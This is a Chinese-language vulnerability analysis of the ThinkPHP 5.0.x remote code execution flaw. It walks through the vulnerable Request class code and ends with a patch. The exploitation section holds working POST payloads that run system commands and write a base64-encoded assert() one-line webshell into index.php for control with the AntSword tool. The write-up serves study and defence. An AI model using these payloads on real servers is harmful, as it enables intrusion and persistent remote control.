作者介紹:Ice
國科學院安全學員,在國科學習安全課程,也參與在國科學生會安全團隊中進行安全實戰能力的提升。本次分享主要是針對現在一款運用極廣的開發框架Thinkphp的遠程代碼執行漏洞研究,希望給大家帶來一些幫助。
0x00背景
ThinkPHP誕生于2006年,是一個國產開源的PHP開發框架,其借鑒了Struts框架的Action對象,同時也使用面向對象的開發結構和MVC模式。ThinkPHP可在windows和linux等操作系統運行,支持MySQL,Sqlite和PostgreSQL等多種數據庫以及PDO擴展,是一款跨平臺,跨版本以及簡單易用的PHP框架。
ThinkPHP是一款運用極廣的PHP開發框架。其5.0.23以前的版本中,獲取method的方法中沒有正確處理方法名,導致攻擊者可以調用Request類任意方法并構造利用鏈,從而導致遠程代碼執行漏洞。
0x01影響范圍
Thinkphp 5.0.0~ 5.0.23
0x02漏洞分析
此處漏洞出現在thinkphp用于處理HTTP請求的Request類中,其中源碼存在一個method方法可以用于獲取當前的請求類型。
Method方法路徑:thinkphp/library/think/Request.php
IsGET、isPOST、isPUT等方法都調用了method方法來做請求類型的判斷(只列出來這些,還有其他的,比如head請求、patch請求)
而在默認情況下,是有表單偽裝變量的。
var_method為“表單偽裝變量”,這個東西在Application/config.php里面定義
里面出現了:表單請求類型偽裝變量,我上官方論壇看了一下,他是這樣定義的
因為html里的form表單的method屬性只支持get和post兩種,由于源碼沒有進行任何過濾的措施,我們就可以利用控制_method參數來動態調用類中的任意方法,通過控制$_POST的值來向調用的方法傳遞參數
在默認情況下,該變量的值為“_method”
但是我們在method方法中,將表單偽裝變量對該方法的變量進行覆蓋,可以實現對該類的所有函數進行調用。
在request類中,分析一下_construct析構方法
我們看見,如果析構方法中屬性不存在(142行),那么就會自己調用配置文件中的default_fileter的值(所以在thinkphp5.0.10版本中,可以構造這樣的一個
payload——》s=ipconfig&_mehthod=__construct$method=&filter[]=system)
但是由于thinkphp5.0.23中進行了更新,在APP類中(路徑thinkphp/ library/think/App.php)中進行更新,新增設置了filter的屬性值,初始化了filter的屬性值,所以上個版本的覆蓋文件的默認值無法被利用。
而后,我們發現在request中的param方法也調用了method方法,他用于獲取當前請求的參數,傳入了默認值true
這個時候我們在返回去看_method方法
當傳過來的值為true時,會利用到server方法,我們再看一下這個方法
由上可知,我們傳過來的參數是REQUEST_METHOD,即name為REQUEST_METHOD,而后就會去調用input方法,我們跟蹤一下input方法
我們在跟蹤一下getFilter方法看看
很明顯這個方法執行了圖中畫框的代碼(不為空),$this->filter被賦值給了$filter,也就是請求中的filter參數
我們在返回input方法,解析過濾器之后,我們發現執行了判斷$data是否為數組,如果不是數組就可以將每個值作為一個參數用filterValue進行過濾
我們發現sever方法中的,$this->server被賦予的是一個超全局變量,那么我們就可以在調用析構方法的時候,我們也可以對$this->server的值進行覆蓋
在filterValue方法中,調用了call_user_func方法導致了代碼執行
這時候發現在在App類中,找到一處調用了$request->param();
在調用param方法之前,進行了未設置調度信息則進行 URL 路由檢測的功能。用routeCheck方法來設置$dispatch。然后用exec方法
$config變量是通過initCommon方法中的init方法初始化的
RouteCheck方法,加載config文件導入路由配置,然后通過Route::import加載路由
我們根據路由檢測規則,$method給的值不同返回的結果也會不同
Router類中的check方法控制了check函數中的$item變量也就控制了check方法最終返回的值,同時也控制了App類中的調度信息$dispath,而$dispath在App類中的run方法中被exec方法調用
這里使用了switch語句判斷$dispath['type']來執行相應的代碼。
之前,我們需要調用Request類中的param方法來對filter變量的覆蓋。
如果$dispath['type']是controller或者是method的時候可以直接調用param方法。
當我們讓$dispath['type']=function的時候,調用了invokeFunction方法, invokeFunction方法調用了bindParams方法也對param方法進行了調用。
我們控制了url中的s參數的值可以設置不同的$method,讓routeCheck返回$dispath。
我們將控制的url參數s的設置為captcha,并且設置post數據
所以此時可以構造payload:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
0x03漏洞危害等級
嚴重
0x04漏洞利用
1、 在網頁上構造payload(可以利用burp,也可以在POST上傳)
(1)查看目錄下的文件(ls)
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
(2)查看id
(3)查看當前目錄
(4)查看ip等信息(由于環境搭建在ubuntu,要用到sudo命令,所以可能查不了)
(5)這時候我們還可以更改上述payload中的
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=pwd
將其改為phpinfo,發現是可以輸出關于 PHP 配置的信息
2、 利用蟻劍工具getshell
為什么使用蟻劍工具?
由于存在過濾,需要用到base64加密來使我們的一句話木馬上傳成功
我們知道了一定存在index.php這個文件,那么我們就對其進行修改為一句話木馬的樣式
利用 echo “<?php @eval($_POST[‘xss’]);?>” >index.php 進行測試
為了顯示我們成功注入,我們在其中添加字段變為
echo “aaa<?php @eval($_POST[‘xss’]);?>bbb” >index.php
對引號內的進行base64,注意此時的引號不需要進行加密
經過測試,發現eval函數是注入不了的,需要替換為arrest函數才可以成功注入
所以
Echo “aaa<?php @assert($_POST['xss']);?>bbb” >index.php
最后構造出來的payload為
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > index.php
成功回顯出aaabbb,說明是加入到了index.php里了
開始用蟻劍,URL地址填寫我們一句話木馬的位置
注意要選擇char16和base64
進入界面
上傳測試數據
進入容器看看效果
發現是可以的!
0x05解決方法
自動:升級到最新版本(如果是在5.0.0——5.0.23之間的)
手動:
打開/thinkphp/library/think/Request.php文件,找到method方法(約496行),修改下面代碼:
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
改為:
$method = strtoupper($_POST[Config::get('var_method')]);if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{$this->method}($_POST);} else {
$this->method = 'POST';}
unset($_POST[Config::get('var_method')]);
0x06 使用條件






